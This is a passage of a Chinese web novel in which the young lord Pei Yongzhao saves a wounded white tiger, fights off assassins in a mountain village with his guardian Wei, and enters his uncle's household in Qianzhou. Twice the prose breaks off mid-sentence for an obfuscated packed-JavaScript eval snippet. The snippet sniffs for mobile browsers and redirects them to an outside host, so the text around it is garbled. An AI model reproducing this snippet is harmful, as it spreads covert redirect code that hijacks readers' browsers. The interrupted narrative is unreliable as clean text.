想到这里,裴永昭腿脚麻利地站起身,此时哪里还顾得上身上的摔伤疼痛,赶紧逃命要紧。这是真正的才出狼坑又入虎穴。 一手遮目,裴永昭抬头望了望太阳,又观察了下周围的环境,大体辨认了下,便往一个方向走去。 可是没走几步,脚下就多了一个白绒绒的毛团。那小家伙就挡在裴永昭脚前,一副坚决不让他离开的架势。裴永昭再次将它安置在一旁的草堆里,刚放下,他又钻到裴永昭的脚下。 “小东西,我是不可能带你走的。”以为它是贪图他的肉干,裴永昭无奈,又从怀中掏出一些,放在一旁的地上。 那小家伙并没有在裴永昭预料中去啃咬肉干,而是用嘴撕扯着裴永昭的衣角不松口。 “你想带我去哪里?”裴永昭看它的模样,好像是想带他去哪里,便不再抵抗,顺着它的力道往前走。 绕过一片灌木丛,裴永昭待看清地上躺着的是什么后,瞬间绷紧身子,他只想赶紧转身悄无声息的离开。 地上躺着一头白虎,那体型跟皮毛颜色,分明就是方才他消灭狼群后出来截胡的那头白虎。 此时白虎紧闭着双目,侧身躺在灌木丛后,并没有发现裴永昭。 赶紧借着这个机会逃,可是脚下还有阻碍,小白虎还在脚下不停地撕扯他,竟是要将他撕扯到大白虎身边。裴永昭心理想,你这小家伙,我给你吃的,你竟不讲江湖道义把我当成吃的送人。 不顾小家伙的拉扯,裴永昭赶紧转身,却听到身后的白虎发出低沉的哀嚎声。 白虎半睁着眼睛,一双眼睛里早就没了属于森林之主的神气。 到此时,裴永昭才看清楚它身下好像有一滩暗红色血渍,已经将身下的雪地洇透。 白虎幼崽一直用头顶裴永昭,犹豫再三,裴永昭还是走到白虎身前。 它侧身躺着,后腹部靠近后腿的地方有一处伤口,鲜血正在汨汨地流着。 伤口不大,但若是任它这样流,这只白虎恐怕撑不到明日日出。 低头看了眼此时正乖巧站在一旁,充满期盼地看着自己的白虎幼崽,裴永昭深深的叹了口气。 “你们俩遇到我算是走运。”临下山之前,裴永昭也是做足了准备,食物、武器、基本的药品,他身上都带了些。 翻找了下,取出一枚青竹筒,将塞子取下,裴永昭往前走了几步,蹲下身子,尽量让自己与那只白虎平视,语气平缓地道:“咱们之间没有恩怨,但是今日这小家伙求我救你,我也不好见死不救,你若是想活命,便收起獠牙,安生躺着便好。”虽然知道它听不懂自己在说什么,但裴永昭还是尽可能的表达出自己的善意,免得好事没做成,自己还成了人家最后的晚餐。 在他说完后,那只白虎依旧是半眯着一双眼睛,安静的躺在那里,并没有要攻击裴永昭的意思。 见状,裴永昭依旧不敢掉以轻心,小心的地将手中的止血散洒在白虎的伤口上。 那药散接触伤口后会有些刺激疼痛,他此时才看到那白虎微微呲牙。小虎崽看见白虎痛苦的模样,担忧的在一旁转来转去。 “放心吧,这止血散效果极好,只要血止住了,它会知道怎么救自己的。”森林里长大的动物,他们知道哪些东西可以帮助自己快速恢复元气。 将剩下的止血散收好,又将地上放了些鹿肉干,裴永昭摸了摸白虎幼崽的脑袋,“好了,我这次真的得走了。” 天色已晚,他若是继续耽搁下去,便要在这山上过夜。较今日白天山林里的热闹劲来看,他夜宿在山上并不是个明智之选,还是得尽快下山,寻到魏叔才是正经事。 或许这次是见目的已经达到,小家伙并没有继续阻拦,而是冲着裴永昭奶呼呼地“嗷呜”了一声,便转身依偎在白虎身旁。 凭借前世野外生存的经验,正确辨别方向后,裴永昭找到下山的大路,顺着大路一直走,终于在太阳落山之前下了山。 他先是来到他们之前落脚的小院,小院的门锁已毁,门也是虚掩着。裴永昭预先将弓箭握在手里,心里的底气便多了几分。 推开门,裴永昭迅速藏在门口,没有立即进去。 待等了一会儿,并没有动静从院内传来,裴永昭才踏进小院。 院内一片狼藉,地上杂乱的躺着一些原本陈列规整的农具、山货之类。推开堂屋的门,屋内更甚。 桌椅乱七八糟的躺了一地,桌上的茶具也都被碰碎在地。 东西都被翻找乱了,但是东西看起来倒是没少什么,不像是盗贼。 裴永昭皱着眉退出院子,魏叔不在这里。 出了院子,裴永昭有些踟蹰的望了眼远处的村落。之前他答应过魏叔不见外人,所以他虽然在这里已经住了一段时间,却并未与村里人接触过。 华山村虽然毗邻大华山,大华山上物产丰富,华山村村民却过的并不富裕。这与华山村道路崎岖,交通困难有着极大的关系。 平常去镇上赶集,就算赶着牛车,也要大半天才能到镇上,再从镇上回来,又是大半天的时间。所以这华山村村民基本上过着半隐居的生活。 思及此,裴永昭在心理安慰自己,应该没什么事。这里的人应该不会知道他的身份。 可走到村口时,裴永昭感觉到哪里不太对劲,就算这村里人少,但未免太过寂静了些。整个村里死气沉沉,没有一点动静。 如今傍晚时分,应该是各家各户做饭烧火的时辰,家家户户的烟囱上却没有烟冒出。这不太正常。 带着疑虑,裴永昭手握弓箭悄声进村。走在大路 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顺着他刀尖指的方向,裴永昭看到垂着头跪在地上的一名老者,老者花白的胡须被黑红色的血液与泥土粘结在一起,他喘着粗气,随时要倾倒的模样。 旁边的中年妇人看见老人摇摇欲坠的模样,满脸心疼的劝道:“爹——您就给他们说实话吧,魏先生到底在哪儿,难道真的要将全村老少几十口人的性命都搭上才算完吗?” 老人瞪了她一眼,抬头望向高台上端坐的黑甲男人,冷哼一声撇过脸去,依然倔强的闭着嘴。 “这老不死的真是茅坑里的石头,又臭又硬,来人,给我继续打,打到魏风来出现为止!” 听到那黑甲中年男子与那老者的对话,裴永昭精神一振,那人口中提及的魏风来便是魏叔,魏叔此时应该还是安全的。 只是那些无辜的村民。裴永昭原本舒展的眉头再次皱起,他不能不管。听那些人话里话外的意思,他们应该也是被牵连。而牵连他们的极有可能便是魏叔与他。 待那老者身后的黑衣人再次扬起马鞭时,一尾羽箭破空而来,直接贯穿那黑衣人的手腕,那人哀嚎一声,扔下手中的马鞭,捂着右手侧身倒地。 紧接着又是几处暗箭来袭,几名黑衣人陆续倒地。裴永昭找的位置刁钻,专门照准他们的大腿小腿放箭,就算不死也会大大降低行动能力。 “大人!”周围的黑衣人见此异样,皆握紧手中的刀剑戒备地望向周围,扫视着周围一切可以藏身的地方。 比起普通的黑衣人,身着黑色软甲的中年男子倒是镇定许多,他右手一挥,不一会儿裴永昭便感觉头顶上的瓦片传来动静。 果然还有埋伏。 收起弓箭,裴永昭敛声屏气躲在一旁的墙角处,小心的往外挪。 就在他挪开不久,他刚刚藏身的墙壁处便被数枝羽箭插满。 他的行踪已经暴露。 提气轻身,裴永昭脚尖轻点地,跳出院子。尽管他已经足够小心,身后还是传来声响。他来不及回头看,只是在心中默念魏叔教他的口诀,屏气凝神,将所有的力气用在腿脚上竭力往村外奔去。 就在他听不到身后追赶的声音,刚要松一口气时,身后突然传来破空声,他暗道不好,想要侧身躲避,却已经来不及。 17. 蒋家 冷箭直冲裴永昭后心处,就在这千钧一发之际,另一支羽箭及时出现,与其相撞,两支箭斜擦着裴永昭的手臂没入一旁的土墙中,那箭尾余力未散,还在剧烈地震颤着。 惊魂未定的裴永昭恍惚间感觉自己被一只手牢牢抓住,待他缓过神抬眼一看,正是他寻觅许久的魏叔。 魏叔同样一身黑衣,抬手示意他不要出声。两人纵身跃进一户人家的地窖里,待头顶上的脚步声渐渐远去,裴叔轻轻一提,连带着裴永昭一起跳出地窖。 “魏叔,这是怎么回事?” “救人要紧”,魏叔叮嘱裴永昭暂时先躲在这里,一切都等他回来后再说,转身便欲离开。 “魏叔,我与你一起去,不会给你添乱。”裴永昭自信地举了举手中的弓箭。 “……好!”拍了拍裴永昭的肩膀,魏叔展开笑道:“就当是你的首次实战历练,不过你得把面遮起来。”他递给裴永昭一条黑色遮面巾。“你的脸长得太过惹眼,还是暂时遮掩下比较好。” 将遮面巾围在脸上,裴永昭紧跟在魏叔身后。 魏叔伸手指了指前面,示意里面有两人,让裴永昭先进那条胡同,他在外面接应。裴永昭点点头,举起手中的弓箭小声迈着步子走进胡同。不一会儿,里面传来几声‘噗嗤’,全中要害,连喊痛的机会都没给留。 见裴永昭动作利落地提着弓箭快步出来,在外面等着的魏叔满意的点了点头。这些日子在山上总算有些长进。 刚刚经过裴永昭在空地上一扰,黑衣人已经在黑甲中年人的示意下四处分散在村里搜查,他们聚在一起人多不好下手,这样分散开了,正中裴永昭他们下怀。 魏叔在这村里住了许久,每条胡同都极为熟悉。他们发现黑衣人踪迹后,魏叔负责放哨,任裴永昭尽情发挥。如今的搜捕者与猎物的身份正好调了个个儿。 裴永昭也感觉这一次次的实战,让他这些日子在山上所学,与前世记忆中的某些东西开始融会贯通。他感觉自己手上弓箭的使用更加得心应手。 最后一个,裴永昭一摸身后,坏了,箭囊空了。 那黑衣人见裴永昭只是空拿着张弓站在那,狞笑着举起手中的刀,迅速向他劈砍过来。 举起弓格挡了几下,裴永昭旋身借力将那名黑衣人拉拽而起,撞到一旁的木门上,那木门年久朽烂,被一撞,整个从中间碎裂开来。 那黑衣人后脑勺被撞,站身不稳,手中的刀也掉在了地上,他俯身想要去捡,被裴永昭眼急手快将其一脚踢远。 那人不服,又攥紧拳头直冲裴永昭面门砸来,裴永昭矮身沉肩,借着那人的冲力抱住对方的腿重重的摔倒在地,紧跟着一记肘击砸向那人颈部,那人立即闷哼一声倒地。 站起身,长长的舒了口气,裴永昭低头看了看自己的拳头。 虽然他擅长骑射,但是近身肉搏才是他真正保命的本事,一直以来都没有几次机会让他施展实验一番。如今看来,只要体力耐力与敏捷度再稍加训练,他那已经刻印在脑子里的招式动作,便能借用这具身体再次发挥作用。 地上的黑衣人还有一口气,他这样也不是仁慈。这群人三番两次要来杀他,他只是想留个活口,问清楚这些人到底是出于什么目的,如此执着于取他的性命。 将其绑好,裴永昭便出了胡同。但魏叔已经又不见了踪影。 想起什么,他往村中央的空地疾步走去。 果然,空地中央,魏叔与那名身着黑甲的中年男子你来我往,正在过招。 魏叔武功实力到底如何,裴永昭不得知,因为他从未见过他用过全力。可此时与那黑甲中年男子对战,裴永昭分明在魏叔脸上看到几分勉强,好像有些不太对。 “魏风来,短短几年未见,你功夫退步至此,我若是你便直接不再出手丢人。”那人或许也看出了魏叔的勉强,开始出言嘲讽。 魏叔沉默不语,只是继续出招应对。 “你若是识相将那小子交出来,我便做主饶你一命,若是不然……你——魏风来你这个卑鄙小人竟然用暗器!”那黑衣人肩部中镖,出招慢了一步,被魏叔抓住时机一脚踢在下颌上,直接将人仰头踢晕在地。 “看见了吗?与人对战,一定要掐准时机出手,若是时机一直不来,便自己想办法”。那镖上没有淬毒,却沾了大量的迷药,那药见血便起效,这是平常魏叔在山上打猎时,给大型猎物用的。 站在不远处看得认真的裴永昭满脸敬佩地点头。 “好了,将这几个活口用绳子捆起来,分别关押。”魏叔将手中的刀重新插回刀鞘,冲着裴永昭吩咐道。 虽然他嘴上说的轻巧,但裴永昭知道,此次魏叔应该也是用了全力,他那把刀应对普通敌人时不会轻易出鞘的。 魏叔上前,先为受了鞭刑的老者解绑,那名老者在看到魏叔出现时,一张满是褶皱的脸上便已经露出舒展的笑。 “魏先生,老夫就知道你肯定不会丢下大家的。”老者是华山村的村长,他受了刑,又跪在这里大半日,已经有些虚脱,待看到赶来救人的魏叔后,才放心的任儿子儿媳扶回家医治。 空地上的村民也被全部松绑,在对魏叔表达完感激之情后,都各自回家。 “魏叔,他们怎么……”没有多嘴打听事的,也没有抱怨被裴永昭他们牵连受累的,好像跟想象中的反应不太一样。 “先回院子,我细细与你说来。”魏叔说完,嘱咐村里几名信得过的青壮年将那些已经咽了气的黑衣人从村里一一寻出,都统一到后山挖坑埋了。至于留下的活口,则是统一绑到裴永昭他们暂居的小院,进行下一步审问。 小院里面还是一片狼藉,裴永昭与魏叔简单收拾了下,暂时能有个坐的地方。 “昨日我下山,是因为收到村长的信鸽,信里说是有外人闯进。”若是一般人,村长不会贸然用信鸽,肯定是已经别无他法。 魏叔接到信便赶下山,可还是晚了一步。那些人将村里所有的活口抓起来,严加拷问,就是为了问出魏叔与裴永昭的藏身之地。 先前那些黑衣人有去无回,虽然没能给他们带回去什么有用的信息。可派到这个方向来的探子俱都活不见人死不见尸,便已经足以引起那些人的怀疑。 “他们是长公主的人?”想起在京郊外的情景,裴永昭眼前浮现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621384|172259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一张娇艳的脸,那人总是表现出一副与年龄不符的老谋深算。那次,他已经差点相信她了,没想到那丫头又是骗他的。 尽管已经提前发觉,但裴永昭还是觉得心理堵着一口气纾解不出来。 “刚开始我也以为是长公主派来的人,可是连着几波黑衣人,他们尽管在打扮上与京城那伙极为相似,但出手招式上与京城来人还是有些差别的。真正让我确定不是的,便是此人。说着,魏叔用脚踢了一下早已昏死过去的黑甲中年男人。 “此人是谁?”听到魏叔如此说,裴永昭也跟着拧起眉头,看向地上的两人。 除了长公主,还有人如此迫切的想要他的性命。 “蒋铭”魏叔口中缓缓吐出一个名字,他望向裴永昭,看到裴永昭脸上的疑惑之色,继续解释道:“你舅舅手下有一员得力悍将,亦唤蒋铭。” “舅舅?”他母亲蒋氏出身迁州庆北侯府蒋家,魏叔口中的舅舅,便是如今的蒋家家主、庆北侯蒋彦铮。 难道魏叔的意思,那些黑衣人,是他舅舅所派?裴永昭关于舅舅的记忆不多。关于迁州外祖蒋家的记忆更是少的可怜。 自从蒋氏嫁入京中,便极少与迁州娘家联系,除了逢年过节派人往迁州送些节礼,并无过多接触。 裴永昭每年都是在外祖父与舅舅入京朝觐时才能与之见上一面。外祖父与舅舅待他不错,素来都是给他备上几大马车的玩意儿送到郡王府里。 外祖母虽然一直未曾谋面,但逢年过节也是常常着人给他送不少迁州的特产。听说她老人家头风病严重,出不得远门,这些年一直在迁州待着,从未来过京城。 这样回想起来,好像记事以来母亲对外祖一家一直都是淡淡的,可是外祖一家待他们却一切如常,就是见面少些。 都是至亲血缘,不至于对他痛下杀手吧? 思及此,裴永昭将心中的疑惑问出口:“魏叔可知舅舅为何派人杀我?” “这便要亲自去问问他了。”魏叔抬起头,望向远处,此时一轮明月高高挂起,皎洁的月光倾撒下来,将魏叔整个人笼罩起来。 “蒋家既然有人要取你的性命,那与你父母的事恐怕也脱不了干系,所以你现下心里要有个准备。”魏叔看向裴永昭道。 此时的裴永昭背光站着,一张棱角分明的脸被阴影覆盖着,他的嘴角弯起一抹苦笑,还真是天煞孤星的命格。前世孤儿,这一世父母双亡。仅剩的血亲还有可能是害他父母双亡的幕后凶手,此时也三番两次要取他的性命。 “魏叔,那我们现在怎么办?” “先将人关押起来,要留蒋铭的活口。”魏叔指着地上躺着的两人说完,随即抬头看向裴永昭,我们如今要先去趟迁州城。 “这个时候进城?”裴永昭有些惊讶,若真的是蒋家派人来杀他,那他此时进城,不就是羊入虎口……不对!“裴永昭与魏叔对视的眼神逐渐澄明,什么东西在脑海中渐渐清晰“魏叔是想借蒋家的势?” “不错”魏叔看向裴永昭,一副孺子可教也的表情。 “你外祖父蒋老侯爷年前几次传出病重的消息,你此时上门探望,正是时候。” 18. 入府 迁州不若京城繁华,但因地处西北部,与西域诸国相隔不远,城中货品种类比起京中商铺还要繁多。 当裴永昭再次盯着一名金发碧眼的外国人连看好几眼后,魏叔终于有些沉不住气,攥拳轻咳了一声提醒,裴永昭才收回略显冒昧的眼神。 “魏叔,这些西域客商与我们语言交流上无碍吗?” “他们这种人,从小便要学习各国语言,这些对他们来说都不是什么难事。他们的大齐官话可能比我们迁州本地人说的还要顺溜。”魏叔说的倒是不差,迁州人的官话比起京中盛行的官话在平翘舌发音上有些不同,所以一路上裴永昭与人问路时,还需要加上打手势才勉强交流。 “哎?前边怎么了?”听到前面传来吵嚷声,裴永昭往前凑去,若是放在以前,他是不爱看这种热闹的,但或许受原身的影响,裴永昭感觉自己原本的天性渐渐被释放。社恐什么的,统统都抛到脑后,生死经历过的人,什么恐都能放下。 “你说这小子真是的,也不看看自己是什么德行,竟然还敢拦蒋公子的马” “咱们还是别看这热闹了,待会若倒霉,那鞭子落在咱们身上可就得不偿失了。”旁边看热闹的人小声议论着,裴永昭站在人群外不远的地方,疑惑的看着地上那个瘦弱的人影。 有些眼熟,可是在哪里见过? “臭小子,你还嘴硬!赶快躲开,本公子今日心情好,饶你一条贱命。”蒋公子手中的马鞭重重的落在那人瘦弱的脊背上,留下一道鲜艳的血痕。 “我爹是蒋彦铮,我要见我爹。”那人双手撑地,并没有就此倒下,他抬起头,艰难的一字一句将刚刚的话再次重复一遍。 尽管他脸上已经瘦脱了相,裴永昭还是认出了他。 他是灯市街偷东西的小贼,也是在密室中被绑在水牢里震慑众人的少年。 竟然在这里遇见,倒也是缘分。 “你胡说,迁州城人人都知道,我爹庆北侯只有我一个儿子,你是从哪里冒出来的野种,也敢胡乱攀附?”蒋敬文扬起马鞭,又欲挥下,鞭子却被人一把抓住。他想将鞭子挣回,力气却又不如对方大。恼羞成怒的蒋敬文想要回头看看到底是谁这么不自量力,竟然敢跟他对着干。 猛地回头,看到裴永昭正似笑非笑的握着他的鞭子,蒋敬文脸上的表情由愤怒变为疑惑,他试探着开口:“裴……裴”。 “表哥,别来无恙。”将鞭子松开,裴永昭悄悄咧嘴,在不显眼的地方捏了捏喇疼的手掌心。面上的样子还是要做足的。 “谁是你表哥,你个破落户,到迁州来做甚?”裴永昭的样貌七八分随了他娘蒋氏,蒋敬文随父进京时与之也见过几次,他自然认得裴永昭。 “表哥这个兄弟不认,那个兄弟也不认,难道要六亲不认不成?”裴永昭疑惑的开口问道 旁边围观的百姓中有人噗嗤笑出了声。 站在人群中的魏叔也是无奈的抱臂看着热闹,并没有要上前阻拦的意思。任裴永昭胡闹,反正有他在旁边兜着,出不了什么乱子。 “呵呵,你这废物,如今也就是这嘴皮子还利落,我不与你这废物逞口舌长短。” 蒋敬文冷哼一声,一双三白眼将裴永昭从头打量到脚。从前他巴结裴永昭这位表弟,不过是看在他郡王世子的身份上,如今他什么也没了,他还捧着这个废物做甚? “表哥可别忘了,从前每每入京,你可都是屁颠屁颠地跟在我这废物身后表弟长表弟短,怎么如今我家道中落,你便要看人下菜碟,不认亲戚了不成?” “你……”说着,那刚刚挣脱的鞭子便要向裴永昭脸上挥去。 那鞭子还没落到裴永昭身上便再次被人截住,见自己教训人屡次不成,蒋敬文对着那阻拦他的人刚欲开骂,一抬头,看到的竟然是庆北侯那张不怒自威的脸,吓得他赶紧将手中的鞭子扔到了一旁的地上。 “爹,您怎么来了?” 心虚的低下头看向一旁,只是被瞪了一眼,蒋敬文的气焰顿时灭了个干净。 “我再不来,咱们蒋家便要沦为整个迁州城的笑柄了。” 庆北侯气的将鞭子扔到地上,正好砸到蒋敬文的脚,疼得他龇牙咧嘴,却又不敢吱声。 “爹,我这不是看您公务繁忙,想着这些小事便不劳烦您操心,想着帮您解忧……”讪笑着凑到庆北侯身旁,蒋敬文心虚的解释道。 冷哼一声没有再搭理蒋敬文,庆北侯转身望向裴永昭时,脸上已经挂满了慈爱,“昭儿什么时候到的迁州,怎么没派到府上通传一声,舅舅派人去接你。”但是对地上那奄奄一息的少年,却未曾多看一眼。 “多谢舅舅,永昭听闻外祖父身子抱恙,特来看望,昨日到的迁州。”裴永昭老老实实向庆北侯行礼,被其一把拉住。 “一家人不用行此虚礼,一起回府吧,你外祖父外祖母若是知道你来迁州了,必定欣喜。”说着便要拉着裴永昭上马。 “爹,您忘了,这个废物不会骑马,他前年元宵佳节从马上摔下来后,舒郡王府的马匹便都被他送人了。”从那以后别说马,便是看见马具,裴永昭都要皱上半日眉头。 不过那都是过去的事了,如今的裴永昭哪里还有这样的烦恼。 他接过一旁下人手中的缰绳,动作利落的脚踩马镫翻身上马。便是极擅骑射的庆北侯看了都要夸赞一句动作潇洒。 刚刚一口一句废物的蒋敬文,瞅了瞅周围人指指点点的样子,感觉脸上有些火辣辣的挂不住。 “舅舅,那人……”裴永昭指着地上那瘦弱的少年,冲蒋彦铮问道。 “一并带走!”蒋彦铮自始至终都没有对那少年多说一句话,他一挥手,便有人上前将其架起。 回头望了眼人群中魏叔的方向,裴永昭微微颔首。魏叔亦是笑着点了点头。 一明一暗,若是有什么变故,魏叔能够在暗处给予他接应。 蒋家自大齐开国以来便被授予统管迁州、峰州、辽州、牧州西北四州军政事务的权利。这四州属于大齐西北边陲,民风彪悍,对于当地百姓来说,蒋家屡次带领他们抵御外敌,威信极高。 老侯爷更是被当地百姓奉为战神,如今的庆北侯蒋彦铮虽然也骁勇善战,屡破外敌,可是比起当年的老侯爷来说,还是要差上一截。 庆北侯府坐落于迁州城城中央的位置,院落占地极大,单单是从外院院门进到内院的这段距离,裴永昭他们便走了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621385|172259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约莫一盏茶的时间。 老侯爷与老夫人居住的院子名为松柏居,裴永昭站在院外,仔细打量着院子,院子坐北朝南,由正房、东西厢房、耳房合围组成,庭院四周设有抄手回廊,连结各个房间。这房屋布局倒是与京中房屋布局无二。 “已经派人通传,我们直接进去即可。”舅舅蒋彦铮走在前面带路,裴永昭跟在后面。进了院门,蒋彦铮领着裴永昭来到东厢房,并没有直接进正房。 掀开挂帘,进了屋,屋内光线昏暗,紧接着一股浓重的药味直冲鼻尖,让裴永昭忍不住眉头一皱。 屋内的窗户上也被挂上了厚重的棉帘,白日里一点光也透不进,只能点蜡。屋内蜡烛燃烧产生的烟熏味掺杂着药味,这屋内的气味太过浑浊。 “是昭儿来了?”说话人应该是裴永昭的外祖母苏氏,只听她声音沙哑迟缓,像是刚刚哭过。 果然,绕过屏风,裴永昭终于见到了从未谋面的外祖母。 此时苏氏正半倚在临窗的紫檀木榻上,旁边的中年妇人正在伺候茶水。见来人,俱都停下手上的动作。 “外祖母”裴永昭躬身行了晚辈礼,便被苏氏唤到跟前坐着。 苏氏看了眼裴永昭,怕是想起了伤心事,转过脸去,“你娘命苦啊……” “母亲,咱们刚刚不是说好,守着孩子不提这伤心事了吗,您这一落泪,儿媳也……”说话劝阻的正是庆北侯夫人,裴永昭的舅母陆氏。她从丫鬟手中接过帕子,仔细的帮外祖母擦了擦眼角。 屋内众人俱都是一副悲戚的模样。 裴永昭脑海中浮现出蒋氏往日里照顾他的模样,尽管照顾的是原身,但裴永昭还是能够从回忆里感受到那份属于母亲的温暖。眼眶也微微泛红。 “好了好了,都是外祖母不好,又提起这些事。”苏氏拍了拍裴永昭的手,脸上满是慈爱。“迁州距京城路途遥远,你孤身前来,路上可受了苦?” “孙儿随着商队,一路上倒也没吃什么苦。”早就想好的说辞,裴永昭张口就来。 进来许久,并没有见到外祖父,裴永昭有些疑惑的开口:“外祖父……” “哦,你外祖父刚刚服了安神的药睡下,如今在内室里,咱们先不去扰他,待他睡够了,自然会见你。”陆氏指了指内室,里面灯光昏暗,又有屏风遮挡,让人看不清楚。 “今日你来的正巧,前两日你舅舅猎了头野猪,今日便让厨房里做来与你尝尝鲜。” 虽然与陆氏是第一次相见,但她待裴永昭极为亲热,相处起来也如同寻常人家的祖孙一般。 除了那瞪着三白眼的表哥蒋敬文一直冲他横眉冷对,舅舅与舅母也待他极为亲近,至此,裴永昭并没有发现什么不对劲的地方。 可是想起华山村小院地窖里关押着的蒋铭,裴永昭始终不敢放松警惕。 晚饭是给裴永昭的接风宴,虽然是临时准备,却也极为丰盛。 用过晚饭,裴永昭回到自己的卧房,由着仆从伺候盥洗完毕,早早便打着哈欠吹了蜡。 伺候的仆从见裴永昭灭了灯,又在门外候了会,才进了旁边的耳房休息。 听见外面没了动静,床榻上的裴永昭倏地睁开眼。 19. 帮他一把 夜色如墨,厚重的云层几乎将月亮完全遮住。屋檐下虽然挂着灯笼,但烛火微弱。巡夜的家丁提着灯笼从廊下经过,根本没有发觉半蹲在假山石旁的裴永昭。 纵身一跃,裴永昭跳上屋檐,魏叔早已等候多时。 “人我已经带走,随我来。” 魏叔在前面领路,裴永昭紧跟其后。 几个跳跃间,庆北侯府的房顶上便已无两人的踪影。 “轻功进步很多,但是气息还不够稳定,还需继续勤加练习。”魏叔背手站在城郊的一处院落里,冲着正喘着粗气面带绯色的裴永昭微微颔首道。 对于一个从未研习过轻功的人来说,他短短时间取得如此进步已经算是天赋异禀。但后面这句,魏叔为了不至于让裴永昭尾巴翘到天上去,并没有说出口。 “人就在里面,你进去吧。” “好”。 推门进屋,屋内灯光明亮,白日里拦蒋敬文马的那名少年,正惴惴不安地坐在屋内。听见推门声,警觉的站起身,看见裴永昭进来,脸上的惊疑不定才褪去一些。 他俯身,恭恭敬敬的给裴永昭行礼。“世子,多谢您三番两次出手相助。” “你知道我是谁?”多看了他两眼,裴永昭招呼他继续坐下说,他也寻了个椅子坐下。 “其实早在灯市街初遇时,我便知道您是舒郡王世子。”少年垂下头,“那些人许诺我在灯市街上引起你的注意,协助他们将你掳走,便……放了我。”说到最后,少年的声音越来越小。 微微眯起眼,裴永昭眸底闪过一抹锐利,继而开口道:“可他们食言了?” “没错,他们将我重新抓回,像条死狗一样锁在水牢里,我以为自己就要交代在那密室里。没想到又是借世子的光得以逃脱。 “那日背你出来的少年,你可知道如今身处何地?”想起铁笼中的昏迷不醒的魏潜,微叹了口气,裴永昭语气有了起伏。 “那日魏公子将我安置在一处隐蔽地方,他说去引开追兵,我再次醒来后等了许久也未见他回来,便……便离开了。”说着,蒋敬安有些无措的再次垂下头。他知道自己这样做,便是与背信弃义的小人无异。 可是多年在底层摸爬滚打,造就了他凉薄自利的性子,他心中最迫切的愿望便是活下去。旁人的安危对他来说都是次要考虑的问题。 “他又被抓了回去,受尽折磨,我离开时他还未脱身”。说起来,裴永昭心中也有几分愧意,他被魏叔救走时已经陷入昏迷,醒来时已经远在迁州,对于魏潜,他有心无力,只能盼他自求多福。 “你是舅舅的庶子?”转回正题,裴永昭问出心中疑惑。 世人盛传庆北侯与夫人感情甚笃,从未传出过纳妾庶子的消息。 当年蒋彦铮承袭庆北侯爵位,迎娶陆氏进门第三日便被派遣至边关御敌,这一走便是五年。 这五年陆氏尽心尽力照料公婆,执掌侯府中馈,将庆北侯府上上下下打理的井井有条。 蒋彦铮回来后,心中原本就有愧,见陆氏贤惠,便将先前的通房、妾室遣散出府,两人琴瑟和鸣,被奉为佳话。 这是裴永昭来到迁州后听说的,在京中时也偶有耳闻。 如今突然又冒出这么大个庶子,不是狠狠的打了陆氏的脸? “我不知道什么庶子不庶子的,我只知道母亲是父亲的妻子,我是他的儿子。”提及嫡庶,蒋敬安皱起眉头,他不喜欢别人称呼他母亲为妾。 “听你话的意思,舅舅知道你的存在?” “自然知道。每年父亲进京都要来我与母亲居住的小院住上十几日。” 据蒋敬安所说,他名字是舅舅蒋彦铮亲自取的,他脖间还挂着一枚佛莲金牌,金牌中央刻着‘安’字,便是出生时他父亲给他挂上的。 蒋彦铮借着每年进京朝觐时与蒋敬安母子相聚,这些是瞒着陆氏的。 多年来也是相安无事,且他既然有意隐瞒,如今蒋敬安为何要违背他父亲的意思,强行来迁州认亲。这不是陷他爹入两难境地吗? 或许是看透裴永昭心中疑惑,蒋敬安接着道:“母亲半年前急病去世,临终前叮嘱我一定要见到父亲,可父亲去年也未曾进京”。一直没有蒋彦铮的消息,蒋敬安给母亲办完丧事,本想在京中等待时机与父亲相见。可好巧不巧,他与母亲居住的小院半夜突然走水,将家当烧了个一干二净。幸好蒋敬安夜里睡得不沉,侥幸捡了条命。 家当尽毁,蒋敬安无银钱交付书院束脩,被赶出书院。他找了几份活计,都被以各种理由辞退。 他想起母亲生前曾经提及,父亲是迁州人氏,便想着来迁州投靠父亲。 说来也巧了,他筹措了些盘缠刚出城,便被那群人贩子抓了去,受尽折磨。 听到此处,裴永昭眉头微挑“像是有人故意为之,推着你来迁州,却又有另一股力量与其相悖,阻止你来迁州”。 蒋敬安微微颔首,经历如此之多,他就算再迟钝,也能察觉有人在幕后操控。 包括他母亲突发急症,他想要寻到父亲,查寻真相。没想到来到迁州后才得知,原来他父亲竟是堂堂庆北侯,而他与母亲的身份如此尴尬且不可说。 蒋敬安半月前便已到达迁州,在侯府门外徘徊多日,门口守卫将他当做坑蒙拐骗的乞丐,不许他靠近侯府半步。他一直未曾见到庆北侯的面,别无他法,他只能做出当街拦马的事,好将事情闹大,让庆北侯主动见他。 可是事情好像并没有向蒋敬安预期的方向发展,今日白天在街市上,他爹庆北侯看到他时的眼神与看陌生人无异。让他感到十分挫败。 “你可知,今夜若不是将你提前带出来,你便要跟柴房里那堆柴火一块化为灰烬。”说罢,裴永昭回身望向庆北侯府的方向。 魏叔这处地方选的极妙,站在院外往北看,刚好能够看到庆北侯府的方向。 此时的庆北侯府因为柴房走水,仆从们正在忙着扑火。 “什么?!”蒋敬安满脸不信的走到院门口,推开院门,往庆北侯府的方向看去,能够看到清晰的火光。 “有人想要你的命,而且那个人如今就在庆北侯府。”裴永昭站在其身后,凉凉地道。 